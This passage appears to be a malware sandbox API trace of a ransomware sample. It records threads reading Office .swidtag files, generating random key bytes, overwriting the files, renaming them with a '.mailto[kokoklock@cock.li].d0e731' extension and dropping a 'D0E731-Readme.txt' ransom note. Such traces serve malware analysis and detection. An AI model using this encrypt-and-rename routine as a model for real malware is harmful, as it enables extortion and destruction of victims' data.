dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30 [0076.597] FindNextFileW (in: hFindFile=0x33e05d8, lpFindFileData=0x33f4ab8 | out: lpFindFileData=0x33f4ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x241e602, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x2b91bea, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0xb5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 0 [0076.597] FindClose (in: hFindFile=0x33e05d8 | out: hFindFile=0x33e05d8) returned 1 [0076.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f4ab8) returned 1 [0076.597] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fa00) returned 1 [0076.598] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481eb8) returned 1 [0076.598] RtlExitUserThread (Status=0x0) Thread: id = 814 os_tid = 0x1130 [0076.473] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag")) returned 0x20 [0076.476] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", dwFileAttributes=0x20) returned 1 [0076.477] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f8 [0076.478] GetFileSizeEx (in: hFile=0x9f8, lpFileSize=0x1e4bf94c | out: lpFileSize=0x1e4bf94c*=1072) returned 1 [0076.478] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x42c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.478] ReadFile (in: hFile=0x9f8, lpBuffer=0x1e4bf920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e4bf91c, lpOverlapped=0x0 | out: lpBuffer=0x1e4bf920*, lpNumberOfBytesRead=0x1e4bf91c*=0x4, lpOverlapped=0x0) returned 1 [0076.480] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479048 [0076.481] NtQuerySystemTime (in: CurrentTime=0x1e4bf8f8 | out: CurrentTime=0x1e4bf8f8*=132121176343783924) returned 0x0 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xcd18ddbf [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x409a9a3 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x2a8dda74 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x7503a134 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xa730fd85 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xe402f11f [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xc2552a9 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x38305743 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xc975b3aa [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x2e086078 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x6d5f1c96 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x37ed6ea0 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xdab7079c [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x60db61b4 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x281f9116 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xbefc05c8 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xd51f67b9 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xfbf02e4f [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xca76684c [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x8e3073c [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xa73c2449 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xb66b7257 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xbfa9c710 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xfebf0987 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x646ccb02 [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x304cec9b [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xc8affebd [0076.481] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x54ed3143 [0076.482] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x8b31d935 [0076.482] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0x294a7248 [0076.482] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xc9781cc6 [0076.482] RtlRandom (in: Seed=0x1e4bf904 | out: Seed=0x1e4bf904) returned 0xf0cad1c4 [0076.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.492] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0076.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0076.492] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.493] ReadFile (in: hFile=0x9f8, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x1e4bf8f8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e4bf8f8*=0x430, lpOverlapped=0x0) returned 1 [0076.493] SetFilePointerEx (in: hFile=0x9f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e4bf8c0 | out: lpNewFilePointer=0x0) returned 1 [0076.493] WriteFile (in: hFile=0x9f8, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x1e4bf8f4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e4bf8f4*=0x430, lpOverlapped=0x0) returned 1 [0076.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0076.493] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0076.493] WriteFile (in: hFile=0x9f8, lpBuffer=0x3478c60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e4bf8f0, lpOverlapped=0x0 | out: lpBuffer=0x3478c60*, lpNumberOfBytesWritten=0x1e4bf8f0*=0x20, lpOverlapped=0x0) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0076.494] WriteFile (in: hFile=0x9f8, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e4bf91c, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1e4bf91c*=0x8, lpOverlapped=0x0) returned 1 [0076.494] WriteFile (in: hFile=0x9f8, lpBuffer=0x1e4bf934*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e4bf91c, lpOverlapped=0x0 | out: lpBuffer=0x1e4bf934*, lpNumberOfBytesWritten=0x1e4bf91c*=0x4, lpOverlapped=0x0) returned 1 [0076.494] WriteFile (in: hFile=0x9f8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e4bf91c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e4bf91c*=0x4, lpOverlapped=0x0) returned 1 [0076.494] WriteFile (in: hFile=0x9f8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e4bf91c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e4bf91c*=0x6c, lpOverlapped=0x0) returned 1 [0076.494] WriteFile (in: hFile=0x9f8, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e4bf91c, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1e4bf91c*=0x20, lpOverlapped=0x0) returned 1 [0076.494] WriteFile (in: hFile=0x9f8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e4bf91c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e4bf91c*=0x4, lpOverlapped=0x0) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.494] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.494] CloseHandle (hObject=0x9f8) returned 1 [0076.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x33fc9c8 [0076.495] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0076.495] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731" [0076.495] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), lpNewFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.495] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.496] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0076.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", dwFileAttributes=0x20) returned 0 [0076.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2960 [0076.496] wcscpy (in: _Dest=0x33e2960, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\" [0076.496] wcscat (in: _Dest=0x33e2960, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" [0076.496] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\d0e731-readme.txt")) returned 0xffffffff [0076.496] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f8 [0076.497] WriteFile (in: hFile=0x9f8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1e4bf918, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1e4bf918*=0x481, lpOverlapped=0x0) returned 1 [0076.498] CloseHandle (hObject=0x9f8) returned 1 [0076.498] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2960) returned 1 [0076.498] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a5f8) returned 1 [0076.498] RtlExitUserThread (Status=0x1) Thread: id = 815 os_tid = 0x1134 [0076.500] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag")) returned 0x20 [0076.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", dwFileAttributes=0x20) returned 1 [0076.502] CreateFileW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9fc [0076.502] GetFileSizeEx (in: hFile=0x9fc, lpFileSize=0x1e53fea8 | out: lpFileSize=0x1e53fea8*=1068) returned 1 [0076.502] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x428, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.502] ReadFile (in: hFile=0x9fc, lpBuffer=0x1e53fe7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e53fe78, lpOverlapped=0x0 | out: lpBuffer=0x1e53fe7c*, lpNumberOfBytesRead=0x1e53fe78*=0x4, lpOverlapped=0x0) returned 1 [0076.504] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0076.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0076.504] NtQuerySystemTime (in: CurrentTime=0x1e53fe54 | out: CurrentTime=0x1e53fe54*=132121176343940369) returned 0x0 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xbcb59a [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x38eacb44 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x96c56beb [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x794a5e11 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xc08abd32 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xfe762f00 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xe8c9688a [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xeb07e5ae [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xbb0507d8 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xa3a2a5bd [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x505c968e [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x2bbd3ea7 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xf3406050 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xa4e12201 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x51f04cd [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x8e98fdcf [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x6d76a4c6 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xc9a59e86 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x90a85e18 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x311bf97b [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xd231d5cc [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xe3802de6 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xed163b8 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x1cc60e74 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x7f3c2c2e [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x40bec8d3 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x2cca06c9 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xfceb70c7 [0076.504] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0xa99a40c3 [0076.505] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x2724a5f6 [0076.505] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x63d7e8b0 [0076.505] RtlRandom (in: Seed=0x1e53fe60 | out: Seed=0x1e53fe60) returned 0x639c5734 [0076.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0076.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0076.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e98 [0076.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0076.515] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.515] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.515] ReadFile (in: hFile=0x9fc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x42c, lpNumberOfBytesRead=0x1e53fe54, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e53fe54*=0x42c, lpOverlapped=0x0) returned 1 [0076.516] SetFilePointerEx (in: hFile=0x9fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e53fe1c | out: lpNewFilePointer=0x0) returned 1 [0076.516] WriteFile (in: hFile=0x9fc, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0x1e53fe50, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e53fe50*=0x42c, lpOverlapped=0x0) returned 1 [0076.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0076.516] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e3e8 [0076.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e3e8) returned 1 [0076.516] WriteFile (in: hFile=0x9fc, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e53fe4c, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1e53fe4c*=0x20, lpOverlapped=0x0) returned 1 [0076.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0076.516] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0076.516] WriteFile (in: hFile=0x9fc, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e53fe78, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1e53fe78*=0x8, lpOverlapped=0x0) returned 1 [0076.516] WriteFile (in: hFile=0x9fc, lpBuffer=0x1e53fe90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e53fe78, lpOverlapped=0x0 | out: lpBuffer=0x1e53fe90*, lpNumberOfBytesWritten=0x1e53fe78*=0x4, lpOverlapped=0x0) returned 1 [0076.517] WriteFile (in: hFile=0x9fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e53fe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e53fe78*=0x4, lpOverlapped=0x0) returned 1 [0076.517] WriteFile (in: hFile=0x9fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e53fe78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e53fe78*=0x6c, lpOverlapped=0x0) returned 1 [0076.517] WriteFile (in: hFile=0x9fc, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e53fe78, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1e53fe78*=0x20, lpOverlapped=0x0) returned 1 [0076.517] WriteFile (in: hFile=0x9fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e53fe78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e53fe78*=0x4, lpOverlapped=0x0) returned 1 [0076.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.517] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.517] CloseHandle (hObject=0x9fc) returned 1 [0076.517] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x341a518 [0076.517] wcscpy (in: _Dest=0x341a518, _Source="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0076.517] wcscat (in: _Dest=0x341a518, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731" [0076.517] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag"), lpNewFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run licensing component.swidtag.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.518] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.518] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a518) returned 1 [0076.518] 